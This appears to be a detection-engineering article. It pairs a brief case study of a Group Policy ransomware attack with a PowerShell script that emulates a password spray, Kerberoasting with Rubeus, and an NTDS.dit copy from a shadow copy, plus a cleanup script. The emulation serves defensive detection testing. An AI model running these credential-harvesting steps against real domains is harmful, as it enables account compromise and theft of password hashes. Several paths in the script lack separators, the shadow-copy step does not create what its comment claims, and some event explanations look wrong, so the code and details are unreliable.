Case Study: How Defender’s Predictive Shielding Blocked GPO-Based Ransomware Before Execution

Summary

Microsoft Defender interrupted a human-operated ransomware attack aimed at a large educational organization by detecting abuse of Group Policy Objects (GPOs) used to weaken security settings and distribute ransomware through scheduled tasks.

Investigation

The attackers compromised a domain admin account, carried out Active Directory enumeration, brute-forced credentials, collected Kerberos tickets and NTDS data, created rogue local accounts, and deployed malicious GPOs to enforce a tampering policy and trigger ransomware delivery through scheduled tasks.

Mitigation

Defender’s predictive shielding identified the malicious GPO activity, enforced temporary GPO hardening, blocked the scheduled-task ransomware rollout, and prevented encryption across 97% of devices.

Response

Once detected, defenders should immediately enable GPO hardening, contain compromised accounts, block suspicious SMB traffic, and investigate for additional persistence methods, including unauthorized local account creation.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

Attack Narrative & Commands

1. Active Directory Enumeration with ADExplorer – An attacker uses the living‑off‑the‑land utility ADExplorer.exe to browse the AD database, generating a process‑creation event that matches Image|endswith: 'ADExplorer.exe'.

2. Credential Brute‑Force (T1110) – The attacker performs a password‑spray against a domain account, causing repeated failed logons (Event 4625) with the failure reason %%2313 (“The user has attempted to log on from an untrusted domain”).

3. Kerberoasting (T1558.003) – Using the open‑source tool Rubeus, the attacker requests Kerberos service tickets for computer‑account SPNs (e.g., HOST01$). Each request yields Event 4769 where ServiceName ends with $.

4. NTDS Dump (T1003.003) – The attacker creates a Volume Shadow Copy of the system drive and extracts NTDS.dit using ntdsutil, causing Event 4662 with ObjectType = "ds" and OperationType = "Replication".

All four actions are executed on the same host within a 5‑minute window to emulate a realistic post‑compromise “harvest” phase.

Regression Test Script

# -------------------------------------------------
# Simulation Script – Triggers all four detection paths
# -------------------------------------------------

# 1. ADExplorer execution (process creation)
$adExplorerPath = "$env:ProgramFilesSysinternalsADExplorer.exe"
if (-Not (Test-Path $adExplorerPath)) {
    Write-Host "ADExplorer not found – download placeholder for test."
    # Simulate by copying any exe to the expected name
    Copy-Item "$env:SystemRootSystem32notepad.exe" $adExplorerPath
}
Start-Process -FilePath $adExplorerPath -ArgumentList "/quiet" -WindowStyle Hidden
Start-Sleep -Seconds 5

# 2. Brute‑force login attempts (4625 with %%2313)
$domain = "CONTOSO"
$user   = "testuser"
$badPwd = "IncorrectPassword123!"
1..3 | ForEach-Object {
    $null = [System.DirectoryServices.AccountManagement.PrincipalContext]::new('Domain', $domain).ValidateCredentials($user, $badPwd)
    Start-Sleep -Milliseconds 500
}

# 3. Kerberoasting via Rubeus (requires Rubeus.exe in PATH)
$rubeusPath = "$env:ProgramFilesRubeusRubeus.exe"
if (-Not (Test-Path $rubeusPath)) {
    Write-Host "Rubeus not found – skipping Kerberoasting step."
} else {
    & $rubeusPath kerberoast /outfile:"C:Tempkerb_tickets.kirbi"
}
Start-Sleep -Seconds 5

# 4. NTDS.dit extraction using VSS (4662 replication)
# Create a VSS shadow copy and copy NTDS.dit
$shadow = (vssadmin list shadows | Select-String -Pattern "ShadowCopy Volume" -Context 0,1).Line.Split()[-1]
$ntdsSource = "$shadowWindowsNTDSNTDS.dit"
$ntdsDest   = "C:TempNTDS_dump.dit"
if (Test-Path $ntdsSource) {
    Copy-Item -Path $ntdsSource -Destination $ntdsDest -Force
}
Start-Sleep -Seconds 5

Write-Host "Simulation complete. All telemetry should be ingested."

Cleanup Commands

# -------------------------------------------------
# Cleanup – removes artifacts created by the simulation
# -------------------------------------------------

# Remove fake ADExplorer if it was created
Remove-Item -Path "$env:ProgramFilesSysinternalsADExplorer.exe" -ErrorAction SilentlyContinue

# Delete Kerberos dump
Remove-Item -Path "C:Tempkerb_tickets.kirbi" -ErrorAction SilentlyContinue

# Delete NTDS dump
Remove-Item -Path "C:TempNTDS_dump.dit" -ErrorAction SilentlyContinue

# Clear any created shadow copies (requires admin)
# vssadmin delete shadows /all /quiet

Write-Host "Cleanup finished."